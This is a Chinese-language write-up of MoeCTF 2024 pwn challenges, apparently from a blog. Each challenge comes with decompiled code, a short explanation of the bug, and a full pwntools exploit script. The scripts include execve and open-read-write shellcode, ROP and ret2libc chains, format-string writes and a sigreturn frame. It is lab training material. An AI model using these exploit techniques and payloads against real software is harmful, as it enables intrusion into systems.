menu EDS
Moectf2024-writeup
366 浏览 | 2024-08-17 | 分类:默认分类 | 标签:

Moectfwp

pwn

比赛方提供的工具开放的端口并不对外,需要用frp做个端口转发再用虚拟机的pwntools链接
frps.ini

[common]
bind_port = 7000

frpc.ini

[common]
server_addr = 127.0.0.1
server_port = 7000

type = tcp
local_ip=127.0.0.1
local_port = 7818 #目标端口
custom_domains = 127.0.0.1
remote_port = 1212 #本地映射

二进制漏洞审计入门指北

nc链接直接出

nc 192.168.248.1 1212
Hey, how did you get here?

I've been waiting so long, for anyone...

To honor your courage, I decided to give you a flag.

But next time, it won't be so easy.

moectf{Welcome_to_the_journey_of_Pwn}

Good luck.


By the way, netcat is not a cat!

flag_helper

# coding=utf-8
from pwn import *

r = remote('192.168.248.1',1212)

# 选玩游戏,别的选项都是耍你
print(r.recvuntil(">"))
r.sendline("4")

# 读flag
print(r.recvuntil(">"))
r.sendline("/flag")

# 读属性是4
print(r.recvuntil(">"))
r.sendline("4")

# 不知道为啥777不行,疑似是啥玩意的保护
print(r.recvuntil(">"))
r.sendline("766")

# 开一块空间
print(r.recvuntil(">"))
r.sendline("7777")

# 除了flag还读了4个没有用的东西,0是i流 1是o流 2是e流 3是第一个 4是第二个 5是flag 6是剩下那个没有用的
print(r.recvuntil(">"))
r.sendline("5")

r.interactive()

NotEnoughTime

前面两个是固定的,后边截取=之前的,把中间的\n去掉,eval完还回去。

# coding=utf-8
from pwn import *


r = remote('192.168.248.1',1212)

elf = ELF('./format')

r.recvuntil("=")
r.sendline('2')

r.recvuntil("=")
r.sendline('0')

r.recvuntil("\n")
for i in range(20):
    s = "".join(r.recvuntil("=",drop=True).split("\n"))
    print(s)
    calcs = eval(s)
    print(calcs)
    r.sendline(str(calcs))


r.interactive()

no_more_gets

main()函数的gets()函数存在暴力栈溢出,直接暴力栈溢出跳到后门处

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s1[80]; // [rsp+0h] [rbp-A0h] BYREF
  char s2[80]; // [rsp+50h] [rbp-50h] BYREF

  init(argc, argv, envp);
  arc4random_buf(s1, 80LL);
  write(1, "This is my own shell, enter the password or get out.\n", 0x36uLL);
  gets(s2);
  if ( !strncmp(s1, s2, 0x50uLL) )
    my_shell();
  else
    write(1, "Password wrong!\n", 0x11uLL);
  return 0;
}

exp

# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./lockedshell')
    #gdb.attach(r,"b * 0x8049F9C")
    gdb.attach(r,"b * 0x40129E")
else:
    r = remote('192.168.248.1',1212)

elf = ELF('./lockedshell')

r.recvuntil("out.")
r.sendline('2'*80+p64(0xdeadbeef)+p64(0x401193))


r.interactive()

leak_sth

func()函数存在格式化字符串漏洞。

unsigned __int64 func()
{
  unsigned int v0; // eax
  __int64 v2; // [rsp+0h] [rbp-40h] BYREF
  __int64 v3; // [rsp+8h] [rbp-38h]
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v0 = time(0LL);
  srand(v0);
  v3 = rand();
  puts("Welcome to MoeCTF 2024");
  puts("What's your name?");
  read(0, buf, 0x20uLL);
  puts("Your name:");
  printf(buf); //漏洞在这
  puts("Give me the number");
  __isoc99_scanf("%ld", &v2);
  if ( v3 == v2 )
    backdoor();
  else
    puts("Nice try");
  return v5 - __readfsqword(0x28u);
}

根据栈内计算,第7个参数为v3(从0-5依次为寄存器,第6个参数为v2,第7个为v3)。直接nc连接,输入%7$d,将获得的数字发送回去,得到权限。

nc 192.168.248.1 1212
Welcome to MoeCTF 2024
What's your name?
%7$d
Your name:
1860032473
Give me the number
1860032473
Congratulations!
cat flag
moectf{Y0U_4re-lUky_Or-Cl3veR267bdad4e}

ez_shellcode

题目除pie保护全关。

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable
    RWX:      Has RWX segments

func()函数存在暴力栈溢出,且提供栈地址。

ssize_t func()
{
  unsigned int nbytes; // [rsp+Ch] [rbp-64h] BYREF
  _BYTE nbytes_4[96]; // [rsp+10h] [rbp-60h] BYREF

  nbytes = 0;
  puts("Wellcome to MoeCTF2024!");
  puts("Tell me your age:");
  __isoc99_scanf("%d", &nbytes);
  puts("Here is a gift for you :");
  printf("%p\n", nbytes_4); //地址
  puts("What do you want to say?");
  return read(0, nbytes_4, nbytes); //暴力栈溢出
}

在栈内写入shellcode并暴力栈溢出控制rip跳转回栈内getshell。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./ez_shellcode')
    gdb.attach(r,"b * $rebase(0x12CD)")
else:
    r = remote('192.168.248.1',1212)

elf = ELF('./ez_shellcode')

r.recvuntil("age:")
r.sendline("99999999")
r.recvuntil("you :\n")

stack = int(r.recv(14),16)

log.success("stack:"+hex(stack))

shellcode = asm("mov eax,0x3b;mov r11,0x0068732F6E69622F;push r11;mov rdi,rsp;xor rsi,rsi;xor rdx,rdx;syscall")

r.send(shellcode+'a'*(96-len(shellcode))+p64(0xdeadbeef)+p64(stack))

r.interactive()

这是什么?libc!

题目开启了PIE保护,但是提供了puts()函数的地址,通过这个地址可以计算出libc的基址,并利用libc内部的pop链getshell。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+Fh] [rbp-1h] BYREF

  init(argc, argv, envp);
  printf("PIE enabled, but no worry.\nI give you an address in libc: %p.\nAnd now it's your show time.\n> ", &puts);
  read(0, &buf, 0x100uLL);
  return 0;
}
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./prelibc')
    gdb.attach(r,"b * $rebase(0x1201)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('192.168.248.1',1212)
    libc = ELF('./libc.so.6')

elf = ELF('./prelibc')

r.recvuntil("libc: ")

puts_addr = int(r.recv(14),16)
log.success("puts_addr:"+hex(puts_addr))

libc_addr = puts_addr - libc.symbols['puts']
log.success("libc_addr:"+hex(libc_addr))

pop_rdi = libc_addr + 0x2a3e5
binsh = libc_addr + libc.search("/bin/sh").next()
system = libc_addr + libc.symbols['system']
ret = libc_addr + 0x29139
one_gadget = libc_addr + 0x10d9ca

r.sendline("\x00"+p64(0xdeadbeef)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system))

r.interactive()

这是什么?shellcode!

题目影响ida分析,根据汇编分析是输入一串东西,直接跳转执行,试试直接编译一段shellcode执行。

buf= byte ptr -110h
var_8= qword ptr -8

; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 110h
mov     rax, fs:28h
mov     [rbp+var_8], rax
xor     eax, eax
mov     eax, 0
call    init
lea     rax, format     ; "Give me your code, and I will execute i"...
mov     rdi, rax        ; format
mov     eax, 0
call    _printf
lea     rax, [rbp+buf]
mov     edx, 100h       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rdx, [rbp+buf]
mov     eax, 0
call    rdx
mov     edi, 0          ; status
call    _exit
; } // starts at 11C6
main endp

_text ends

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./preshellcode')
    gdb.attach(r,"b * $rebase(0x1217)")
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('192.168.248.1',1212)
    #libc = ELF('./libc-2.31.so')

elf = ELF('./preshellcode')
sc = asm("mov rax,0x3b;mov r11,0x0068732F6E69622F;push r11;mov rdi,rsp;xor rsi,rsi;xor rdx,rdx;syscall")
r.send(sc)

r.interactive()

这是什么?random!

根据反编译出的代码,分析出随机数的种子为今天的日期,也就是说每天的随机数是固定的。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  struct tm *v3; // rax
  time_t timer; // [rsp+8h] [rbp-28h] BYREF
  char *lineptr; // [rsp+10h] [rbp-20h] BYREF
  size_t n; // [rsp+18h] [rbp-18h] BYREF
  FILE *stream; // [rsp+20h] [rbp-10h]
  unsigned __int64 v10; // [rsp+28h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  timer = time(0LL);
  v3 = localtime(&timer);
  srandom(v3->tm_yday);
  puts("Let's play a number guessing game.");
  while ( tests-- )
  {
    secret = random() % 90000 + 10000;
    printf("Guess a five-digit number I'm thinking of\n> ");
    fflush(stdout);
    __isoc99_scanf("%u", &guess);
    if ( guess != secret )
    {
      puts("Wrong.");
      exit(1);
    }
    puts("Wow, you are right!");
  }
  random_file = fopen("/dev/random", "rb");
  fread(&secret, 4uLL, 1uLL, random_file);
  fclose(random_file);
  secret = secret % 0x15F90u + 10000;
  printf("Guess a five-digit number I'm thinking of\n> ");
  fflush(stdout);
  __isoc99_scanf("%u", &guess);
  if ( guess == secret )
    puts("Wow, you are right!");
  else
    puts("Wrong.");
  secret = (unsigned int)arc4random() % 0x15F90 + 10000;
  printf("Guess a five-digit number I'm thinking of\n> ");
  fflush(stdout);
  __isoc99_scanf("%u", &guess);
  if ( guess == secret )
    puts("Wow, you are right!");
  else
    puts("Wrong.");
  puts("You only got two of them wrong, flag still for you.");
  stream = fopen("flag", "r");
  lineptr = 0LL;
  n = 0LL;
  getline(&lineptr, &n, stream);
  puts(lineptr);
  return 0;
}

通过gdb将随机数提取出来,发送回去拿到flag。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./prerandom')
    gdb.attach(r,"b * $rebase(0x149a)")
else:
    r = remote('192.168.248.1',1212)

elf = ELF('./prerandom')

def guess(num):
    r.recvuntil("> ")
    r.sendline(str(num))

guess(0x45cb)
guess(0x8d44)
guess(0x10ccd)
guess(0x43d8)
guess(0x15a08)
guess(0xae15)
guess(0x16213)
guess(0x13e7d)
guess(0x4757)
guess(0x18371)

guess(0x148ce)
guess(0x148ce)

r.interactive()

这是什么?GOT!

main()函数将got表覆盖了

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  printf("This is MoeCTF %u Pwn Basics.\n", 2024LL);
  write(1, "This is `write`.\n", 0x11uLL);
  puts("This is `puts`.");
  read(0, &off_404000, 0x40uLL);
  exit(0);
}

最开始看system()函数的got表也同样被覆盖,以为无解,后仔细看了一下正常的got表,发现结构如下。

0x404000 <puts@got.plt>:    0x000075226a080e61    0x000075226a114870
0x404010 <system@got.plt>:    0x0000000000401056    0x000075226a0606f0
0x404020 <alarm@got.plt>:    0x000075226a0ea540    0x000075226a1147d0
0x404030 <setvbuf@got.plt>:    0x000075226a0815f0    0x00000000004010a6
0x404040:    0x0000000000000000    0x0000000000000000
0x404050:    0x0000000000000000    0x0000000000000000
0x404060 <stdout@GLIBC_2.2.5>:    0x000075226a21b780    0x0000000000000000
0x404070 <stdin@GLIBC_2.2.5>:    0x000075226a21aaa0    0x0000000000000000
0x404080 <stderr@GLIBC_2.2.5>:    0x000075226a21b6a0    0x0000000000000000

system()的got表为本地的一个地址,跟进地址

   0x401056 <system@plt+6>:    push   0x2
   0x40105b <system@plt+11>:    jmp    0x401020

再次跟进

   0x401020:    push   QWORD PTR [rip+0x2fca]        # 0x403ff0
   0x401026:    jmp    QWORD PTR [rip+0x2fcc]        # 0x403ff8

这里进入dl_runtime_resolve_xsavec()正常走调用system()函数。exp如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 1
if local == 1:
    r=process('./pregot')
    gdb.attach(r,"b * 0x40128A")
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('192.168.248.1',1212)
    #libc = ELF('./libc-2.31.so')

elf = ELF('./pregot')

#r.send('a')
r.send(cyclic(16)+p64(0x401056)+cyclic(0x38-24)+p64(elf.symbols['unreachable']))
    
r.interactive()

NX_on!

静态编译题目,func()存在多次溢出。

unsigned __int64 func()
{
  int v0; // edx
  int v1; // ecx
  int v2; // r8d
  int v3; // r9d
  int v5; // [rsp+Ch] [rbp-24h] BYREF
  char v6[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  puts("Wellcome to MoeCTF2024!");
  puts("This time.....");
  puts("NX is enabled!");
  puts("Your id?");
  read(0LL, v6, 25LL);
  puts("Confirm your id:");
  puts(v6);
  puts("Your real name?");
  read(0LL, &buf2, 256LL);
  puts("Use your real name as id?");
  puts("give me the size of your real name , 0 means quit");
  fflush(stdin);
  _isoc99_scanf((unsigned int)"%d", (unsigned int)&v5, v0, v1, v2, v3);
  if ( v5 )
  {
    if ( v5 > 16 )
      puts("Number out of range!");
    else
      j_memcpy(v6, &buf2, v5);
  }
  return v7 - __readfsqword(0x28u);
}

第一次溢出一个字节可泄露canary。第二次溢出需要控制溢出字符数量,0xffff0001刚刚好,懵逼不伤脑。
exp如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./NX_on')
    gdb.attach(r,"b * 0x401C77")
else:
    r = remote('192.168.248.1',1212)

elf = ELF('./NX_on')
binsh = 0x4E3950
rax = 0x4508b7
rdi = 0x40239f
rsi = 0x40a40e
rdxrbx = 0x49d12b
syscall = 0x402154

r.send('a'*24+'b')
r.recvuntil("aaab")
canary = u64('\x00'+r.recv(7))
stack = u64(r.recv(6)+'\x00\x00')
log.success("pie:"+hex(pie))
log.success("stack:"+hex(stack))

r.send(cyclic(24)+p64(canary)+p64(0xdeadbeef)+p64(rax)+p64(0x3b)+p64(rdi)+p64(binsh)+p64(rsi)+p64(0)+p64(rdxrbx)+p64(0)+p64(0)+p64(syscall))

r.recvuntil('quit')
r.sendline(str(0xffff0001))

r.interactive()

这是什么?32-bit!

32位题目,vuln()函数存在栈溢出。

int vuln()
{
  char v1[36]; // [esp+0h] [ebp-28h] BYREF

  puts("Welcome to MoeCTF backdoor.");
  printf("Enter the password: ");
  getchar();
  __isoc99_scanf("%[^\n]s", v1);
  if ( getuid() )
    return puts("Permission denied.");
  puts("Password correct!");
  return backdoor();
}

利用已有的参数调用execve()getshell。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'i386'
local = 0
if local == 1:
    r=process('./backdoor')
    gdb.attach(r,"b * 0x080492e5")
else:
    r = remote('192.168.248.1',1212)

elf = ELF('./backdoor')

#r.send('a')
r.sendline(cyclic(45)+p32(0x8049212)+p32(elf.search('/bin/sh').next())+p32(0)+p32(0))
    
r.interactive()

Moeplane

题目给出了一个结构体

struct airplane {
/*It's a */ long flight;
int altitude;
int velocity;
int angle;
unsigned char engine_thrust[ENGINES];
}
moeplane;

分别是8字节的航程,4字节的高度,4字节的速度,4字节的角度,1字节的引擎(题目里为4个),题目要求将飞机的航程弄到69259509840对应16进制为0x1020304050
题目改引擎数处存在数组越界。

# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./lockedshell')
    #gdb.attach(r,"b * 0x8049F9C")
    gdb.attach(r,"b * 0x40129E")
else:
    r = remote('192.168.248.1',1212)


def p(num1,num2):
    r.recvuntil("choice:")
    r.sendline('1')
    r.recvuntil("engine?")
    r.sendline(str(num1))
    r.recvuntil("percentage")
    r.sendline(str(num2))

# 分别修改数值到对应位置,最后一个少点避免飞过头
p(-15,0x10) 
p(-16,0x20)
p(-17,0x30)
p(-18,0x18)

# 给飞机提个速
p(-4,0x18)

r.interactive()

LoginSystem

login()函数存在格式化字符串漏洞和后门,触发条件为第二次输入与&password匹配。

unsigned __int64 login()
{
  char s2[8]; // [rsp+8h] [rbp-58h] BYREF
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("*** LOGIN SYSTEM ***");
  printf("username: ");
  read(0, buf, 0x40uLL);
  putchar(10);
  printf("Welcome, ");
  printf(buf);
  puts("! Please input your password: ");
  read(0, s2, 8uLL);
  puts("Checking...");
  sleep(1u);
  if ( memcmp(&password, s2, 8uLL) )
  {
    puts("Incorrect password!");
    exit(1);
  }
  puts("Login success!");
  system("/bin/sh");
  return v3 - __readfsqword(0x28u);
}

&password为随机内容

int init()
{
  int fd; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  fd = open("/dev/urandom", 0, 0LL);
  if ( fd < 0 )
  {
    puts("urandom");
    exit(1);
  }
  read(fd, &password, 8uLL);
  return close(fd);
}

通过计算格式化字符串漏洞参数为第8位,构造格式化字符串漏洞直接抹除掉随机数触发后门。

# coding=utf-8
from pwn import *
context.arch = 'amd64'

local = 0
if local == 1:
    r=process('./loginsystem')
    gdb.attach(r,"b * 0x4013C2")
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('192.168.248.1',1212)
    #libc = ELF('./libc-2.31.so')

elf = ELF('./loginsystem')

r.recvuntil("username: ")
r.send("abcd%10$lnbaaaaa"+p64(0x404050))
r.recvuntil("Welcome, abcd")
r.send(p64(4)+"\x00"*8)

r.interactive()

Catch_the_canary!

题目分为三个部分,第一部分为爆破0x2345以内的随机数。

  v12 = __readfsqword(0x28u);
  v3 = arc4random(argc, argv, envp);
  v4 = v3 - 0xFEFFFFFFFFFFFFLL * ((__int64)((0x4040404040404081LL * (unsigned __int128)v3) >> 64) >> 54);
  v9[0] = v4 + 0x1000000000000LL;
  v9[1] = 0x7FFFFFFDDAB0LL;
  v10 = 182271573LL;
  v8 = (unsigned int)arc4random(argc, 0LL, v4) % 0x2345 + 16768186;
  init();
  write(1, "Here, my canary, with a cage.\n", 0x1EuLL);
  write(1, "[Info] Password required.\n", 0x1AuLL);
  while ( (unsigned int)__isoc99_scanf("%u", &v6) == -1 || v8 != v6 )
    write(1, "[Error] Wrong! Try again.\n", 0x1AuLL);

对应脚本

r.recvuntil('required.')
for i in range(0x2345):
    r.sendline(str(0xffdcba+i))
    s = r.recv()
    if "Info" in s:
        cana = i
        print(hex(i))
        print(s)
        break

第二部分为利用scanf()函数不破坏第一个数的情况下破坏第三个数,scanf("%u")在接收加减运算符的情况下会写入失败并不破坏原有数据。

 cage_bak = v9[0];
  for ( i = 0; i <= 2; ++i )
  {
    __isoc99_scanf("%zu", &v9[i]);
    if ( !v9[i] )
      break;
  }
  if ( v10 != 195874819 )
  {
    write(1, "[FATAL] Canary under attack. Shutting down...\n", 0x2EuLL);
    _exit(1);
  }
  if ( v9[0] != cage_bak )
  {
    write(1, "[FATAL] Hacker!\n", 0x10uLL);
    _exit(1);
  }

对应脚本

r.sendline("-")
r.sendline('1')
r.sendline(str(0xbacd003))

第三部分为破坏canary并泄露,二次溢出修复canary并跳转到后门函数上。

  write(1, "What?! How did you do that?\n", 0x1CuLL);
  write(1, "Stop it!\n", 9uLL);
  read(0, buf, 0x30uLL);
  puts(buf);
  read(0, buf, 0x30uLL);

对应脚本

r.send("a"*0x18+"b")
r.recvuntil("aaab")

canary = u64("\x00"+r.recv(7))
log.success("canary:"+hex(canary))
r.send("a"*0x18+p64(canary)+p64(0xdeadbeef)+p64(0x4012B0))

最终exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import tty

context.arch = 'amd64'
local = 1
if local == 1:
    r=process('./mycanary')
    gdb.attach(r,"b * 0x04014F5")
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('192.168.248.1',1212)
    #libc = ELF('./libc-2.31.so')

elf = ELF('./mycanary')

r.recvuntil('required.')
for i in range(0x2345):
    r.sendline(str(0xffdcba+i))
    s = r.recv()
    if "Info" in s:
        cana = i
        print(hex(i))
        print(s)
        break


r.sendline("-")
r.sendline('1')
r.sendline(str(0xbacd003))

r.recvuntil("it!\n")

r.send("a"*0x18+"b")
r.recvuntil("aaab")

canary = u64("\x00"+r.recv(7))
log.success("canary:"+hex(canary))
r.send("a"*0x18+p64(canary)+p64(0xdeadbeef)+p64(0x4012B0))

r.interactive()

shellcode_revenge

题目有shellcode可执行区域,执行条件为level位有东西,shellcode长度为0xd。

unsigned __int64 operate()
{
  unsigned __int64 v1; // [rsp+118h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  if ( level )
  {
    mmap((void *)0x20240000, 0x1000uLL, 7, 50, -1, 0LL);
    puts("Good luck.");
    read(0, (void *)0x20240000, 0xDuLL);
    MEMORY[0x20240000]();
    puts("Succeed.");
  }
  else
  {
    puts("Sorry, you don't have enough permissions.");
  }
  return v1 - __readfsqword(0x28u);
}

程序usr_log()存在数组越界。

unsigned __int64 usr_log()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Your id?");
  __isoc99_scanf("%d", &v1);
  puts("Your name ?");
  read(0, buf, 4uLL);
  if ( !strncmp(buf, &name[4 * v1], 4uLL) )
    printf("Welcome, %4s", &name[4 * v1]);
  else
    puts("Check your user name and id.");
  return v3 - __readfsqword(0x28u);
}

程序禁用了execve()

__int64 setup_seccomp()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  return seccomp_load(v1);
}

exp如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import tty

context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./shellcode_revenge')
    gdb.attach(r,"b * $rebase(0x0177E)")
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('192.168.248.1',1212)
    #libc = ELF('./libc-2.31.so')

elf = ELF('./shellcode_revenge')

sleep(1)

r.recvuntil(">>>")
r.sendline("3")
r.recvuntil("255")
r.sendline("-8")
r.recvuntil("name ?")
r.sendline("aaaa")

r.recvuntil(">>>")
r.sendline("4")
r.recvuntil("luck.")

shellcode = asm("syscall;")+"\x90"*0xb


r.send(shellcode)
sleep(1)
shellcode = asm("nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;xor rax,rax;xor r10,r10;push r10;mov r10,0x67616C66;push r10;mov r11,rsp;")
shellcode += asm("sub rsp,0x100;mov rax,2;mov rdi,r11;xor rsi,rsi;mov rdx,rsi;syscall;")
shellcode += asm("mov rdi,rax;mov rsi,rsp;mov rdx,0x80;xor rax,rax;syscall;")
shellcode += asm("mov rdi,1;mov rax,rdi;syscall")

r.sendline(shellcode)
r.interactive()

Pwn_it_off!

题目有两个关卡,关卡一

unsigned __int64 voice_pwd()
{
  char s2[16]; // [rsp+0h] [rbp-30h] BYREF
  char v2[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  write(1, "[Error] Voice password not initialized!\n", 0x28uLL);
  write(1, "[Warn] Using auto generated password.\n", 0x26uLL);
  write(1, "[Info] Speak out the voice password.\n", 0x25uLL);
  s2[15] = 0;
  len = read(0, v2, 23uLL);
  if ( len <= 0 )
  {
    write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL);
    _exit(1);
  }
  v2[len] = 0;
  if ( strcmp(v2, s2) )
  {
    write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL);
    _exit(1);
  }
  write(1, "[Info] Voice password correct.\n", 0x1FuLL);
  return v3 - __readfsqword(0x28u);
}

该题的密码为上一个函数在栈内残存的数据,为上一个函数输出的最后一条beep的第29位开始往后数15个。

for i in range(3):
    tmp = r.recvuntil("\n")
    if "Error" in tmp:
        break
    beep = tmp

log.info("getbeep:"+beep)
beep1 = beep[28:28+15]
log.info("beep1:"+beep1)

r.send(beep1+'\x00\x67\x2b\x00\x00\x00\x00') #清空栈内其他乱七八糟的内存,为下一题做准备

关卡二

unsigned __int64 num_pwd()
{
  __int64 v1[2]; // [rsp+8h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  write(1, "[Error] Numeric password not initialized!\n", 0x2AuLL);
  write(1, "[Warn] Using auto generated password.\n", 0x26uLL);
  write(1, "[Info] Input the numeric password.\n", 0x23uLL);
  __isoc99_scanf("%zu", v1);
  if ( v1[0] > 0x1869FuLL || v1[0] <= 0x270FuLL || v1[1] != v1[0] )
  {
    write(1, "[FATAL] Password incorrect! Beep again...\n", 0x2AuLL);
    _exit(1);
  }
  write(1, "[Info] Numeric password correct.\n", 0x21uLL);
  return v2 - __readfsqword(0x28u);
}

对应脚本。

r.recvuntil("numeric password.")
r.sendline(str(0x2b67))

最终exp为

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./alarm')
    gdb.attach(r,"b * $rebase(0x01722)")
else:
    r = remote('192.168.248.1',1212)

elf = ELF('./alarm')


for i in range(3):
    tmp = r.recvuntil("\n")
    if "Error" in tmp:
        break
    beep = tmp

log.info("getbeep:"+beep)
beep1 = beep[28:28+15]
log.info("beep1:"+beep1)
    
r.send(beep1+'\x00\x67\x2b\x00\x00\x00\x00')

r.recvuntil("numeric password.")
r.sendline(str(0x2b67))

r.interactive()

return 15

srop,main()函数暴力栈溢出,直接利用what()函数的return 15构造srop。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF

  sysread(0LL, v4, 512LL);
  return 0;
}

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./return15')
    gdb.attach(r,"b * 0x401149")
else:
    r = remote('192.168.248.1',1212)

elf = ELF('./return15')

frameExecve = SigreturnFrame()
frameExecve.rax = 0x3b
frameExecve.rdi = 0x402008
frameExecve.rip = 0x40111C

r.sendline(cyclic(32)+p64(0xdeadbeef)+p64(elf.symbols['what'])+p64(0x40111C)+str(frameExecve))

r.interactive()

VisibleInput

题目禁用了execve,且shellcode为可视化字符。

unsigned __int64 pwn()
{
  int i; // [rsp+0h] [rbp-220h]
  int v2; // [rsp+4h] [rbp-21Ch]
  char buf[520]; // [rsp+10h] [rbp-210h] BYREF
  unsigned __int64 v4; // [rsp+218h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = read(0, buf, 0x200uLL);
  for ( i = 0; i < v2; ++i )
  {
    if ( buf[i] <= 31 || buf[i] == 127 )
    {
      puts("What are you doing?");
      exit(1);
    }
  }
  strncpy((char *)0x20240000, buf, 0x200uLL);
  MEMORY[0x20240000]();
  return v4 - __readfsqword(0x28u);
}

先构造ascii shellcode构造sys_read。

shellcode = "\x52" #push rdx
shellcode += "\x5E" #pop rsi
shellcode += "\x68\x6f\x65\x60\x60" #push 656f6f65
shellcode += "\x41\x5c" #pop r12
shellcode += "\x50" #push rax
shellcode += "\x5f" #pop rdi
shellcode += "\x6a\x60" #push 60
shellcode += "\x41\x5a" #pop r10
shellcode += "\x68\x70\x30\x24\x20" #push 20243070
shellcode += "\x58" #pop rax
shellcode += "\x66\x2d\x50\x30" #sub ax 3040
shellcode += "\x50" #push rax
shellcode += "\x5A" #pop rdx
shellcode += "\x4c\x31\x22" #xor [rdx],r12
shellcode += "\x57" #push rdi
shellcode += "\x58" #pop rax
shellcode += "\x60\x60\x60\x60" #被异或掉构造syscall

再构造orw获取flag,exp如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./VisibleInput')
    #gdb.attach(r,"b * 0x20240024")
    gdb.attach(r,"b * $rebase(0x1361)")
else:
    r = remote('192.168.248.1',1212)

elf = ELF('./VisibleInput')

sleep(1)

shellcode = "\x52" #push rdx
shellcode += "\x5E" #pop rsi
shellcode += "\x68\x6f\x65\x60\x60" #push 656f6f65
shellcode += "\x41\x5c" #pop r12
shellcode += "\x50" #push rax
shellcode += "\x5f" #pop rdi
shellcode += "\x6a\x60" #push 60
shellcode += "\x41\x5a" #pop r10
shellcode += "\x68\x70\x30\x24\x20" #push 20243070
shellcode += "\x58" #pop rax
shellcode += "\x66\x2d\x50\x30" #sub ax 3040
shellcode += "\x50" #push rax
shellcode += "\x5A" #pop rdx
shellcode += "\x4c\x31\x22" #xor [rdx],r12
shellcode += "\x57" #push rdi
shellcode += "\x58" #pop rax
shellcode += "\x60\x60\x60\x60"

r.send(shellcode)

sleep(5)

shellcode = asm("nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;xor rax,rax;xor r10,r10;push r10;mov r10,0x67616C66;push r10;mov r11,rsp;")
shellcode += asm("sub rsp,0x100;mov rax,2;mov rdi,r11;xor rsi,rsi;mov rdx,rsi;syscall;")
shellcode += asm("mov rdi,rax;mov rsi,rsp;mov rdx,0x80;xor rax,rax;syscall;")
shellcode += asm("mov rdi,1;mov rax,rdi;syscall")

r.sendline(shellcode)

r.interactive()

System_not_found!

题目有两次溢出,第一次溢出覆盖第二次的输入数量,第二次溢出泄漏libc地址,题目没有pop rdi;ret;,结束时rdi为funlockfile指针直接puts出来泄漏基址。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-40h] BYREF
  size_t nbytes; // [rsp+10h] [rbp-30h]
  char v6[36]; // [rsp+18h] [rbp-28h] BYREF
  int v7; // [rsp+3Ch] [rbp-4h]

  init(argc, argv, envp);
  nbytes = 31LL;
  printf("What's your name?\n> ");
